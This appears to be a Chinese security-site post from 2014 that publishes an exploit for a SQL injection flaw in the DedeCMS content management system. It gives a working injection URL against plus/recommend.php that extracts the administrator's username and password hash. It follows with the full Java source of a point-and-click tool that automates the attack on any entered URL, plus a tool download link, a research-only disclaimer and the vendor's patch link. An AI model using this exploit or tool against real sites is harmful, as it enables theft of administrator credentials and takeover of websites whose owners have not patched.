DedeCMS全版本通杀SQL注入漏洞利用代码及工具2014年2月28日

dedecms即织梦(PHP开源网站内容管理系统)。织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。
    
    近日,网友在dedecms中发现了全版本通杀的SQL注入漏洞,目前官方最新版已修复该漏洞,相关利用代码如下:
    EXP:
    复制代码
    代码如下:
    
    http://*.*.com/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin` limit+0,1),5,6,7,8,9%23@`\'`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=111
    直接获取就可以得到管理员的用户名与加密后的密码,效果如下图所示
    
    利用工具源码(by 园长):
    复制代码
    代码如下:
    package org.javaweb.dede.ui;
    import java.awt.Toolkit;
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    import java.net.URL;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    /**
     *
     * @author yz
     */
    public class MainFrame extends javax.swing.JFrame {
     private static final long serialVersionUID = 1L;
     /**
     * Creates new form MainFrame
     */
     public MainFrame() {
     initComponents();
     }
     public String request(String url){
     String str = "",tmp;
     try {
     BufferedReader br = new BufferedReader(new InputStreamReader(new URL(url).openStream()));
     while((tmp=br.readLine())!=null){
     str+=tmp+"\r\n";
     }
     } catch (Exception e) {
     jTextArea1.setText(e.toString());
     }
     return str;
     }
     private void initComponents() {
     jPanel1 = new javax.swing.JPanel();
     jLabel1 = new javax.swing.JLabel();
     jTextField1 = new javax.swing.JTextField();
     jButton1 = new javax.swing.JButton();
     jScrollPane1 = new javax.swing.JScrollPane();
     jTextArea1 = new javax.swing.JTextArea();
     setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
     jLabel1.setText("URL:");
     jTextField1.setText("<a href="http://localhost">http://localhost</a>");
     this.setTitle("DedeCms recommend.php注入利用工具-p2j.cn");
     int screenWidth = Toolkit.getDefaultToolkit().getScreenSize().width;
     int screenHeight = Toolkit.getDefaultToolkit().getScreenSize().height;
     this.setBounds(screenWidth / 2 - 229, screenHeight / 2 - 158, 458, 316);
     jButton1.setText("获取");
     jButton1.addActionListener(new java.awt.event.ActionListener() {
     public void actionPerformed(java.awt.event.ActionEvent evt) {
     jButton1ActionPerformed(evt);
     }
     });
     jTextArea1.setColumns(20);
     jTextArea1.setRows(5);
     jScrollPane1.setViewportView(jTextArea1);
     javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
     jPanel1.setLayout(jPanel1Layout);
     jPanel1Layout.setHorizontalGroup(
     jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
     .addGroup(jPanel1Layout.createSequentialGroup()
     .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING, false)
     .addComponent(jScrollPane1, javax.swing.GroupLayout.Alignment.LEADING)
     .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel1Layout.createSequentialGroup()
    .addContainerGap()
    .addComponent(jLabel1)
    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
    .addComponent(jTextField1, javax.swing.GroupLayout.PREFERRED_SIZE, 331, javax.swing.GroupLayout.PREFERRED_SIZE)
    .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
    .addComponent(jButton1, javax.swing.GroupLayout.PREFERRED_SIZE, 83, javax.swing.GroupLayout.PREFERRED_SIZE)))
     .addGap(0, 0, Short.MAX_VALUE))
     );
     jPanel1Layout.setVerticalGroup(
     jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
     .addGroup(jPanel1Layout.createSequentialGroup()
     .addContainerGap()
     .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
     .addComponent(jLabel1)
     .addComponent(jTextField1,
     javax.swing.GroupLayout.PREFERRED_SIZE,
    javax.swing.GroupLayout.DEFAULT_SIZE,
    javax.swing.GroupLayout.PREFERRED_SIZE)
     .addComponent(jButton1))
     .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
     .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 254, Short.MAX_VALUE))
     );
     javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
     getContentPane().setLayout(layout);
     layout.setHorizontalGroup(
     layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
     .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
     );
     layout.setVerticalGroup(
     layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
     .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
     );
     pack();
     }// </editor-fold>
     private void jButton1ActionPerformed(java.awt.event.ActionEvent evt) {
     String url = jTextField1.getText();
     if(null==url||"".equals(url)){
     return ;
     }
     String result = request(url+"/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,(select%20CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`%20limit+0,1),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294");
     Matcher m = Pattern.compile("<h2>(.*)</h2>").matcher(result);
     if(m.find()){
     String[] s = m.group(1).split("\\|");
     if(s.length>2){
     jTextArea1.setText("UserName:"+s[1]+"\r\nMD5:"+s[2].substring(3,s[2].length()-1));
     }
     }
     }
     public static void main(String args[]) {
     java.awt.EventQueue.invokeLater(new Runnable() {
     public void run() {
     new MainFrame().setVisible(true);
     }
     });
     }
     // Variables declaration - do not modify
     private javax.swing.JButton jButton1;
     private javax.swing.JLabel jLabel1;
     private javax.swing.JPanel jPanel1;
     private javax.swing.JScrollPane jScrollPane1;
     private javax.swing.JTextArea jTextArea1;
     private javax.swing.JTextField jTextField1;
     // End of variables declaration
    }
    利用工具下载地址 http://pan.baidu.com/s/1i37LUnF (本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!)
    
    dedecms官方补丁地址: http://www.dedecms.com/pl/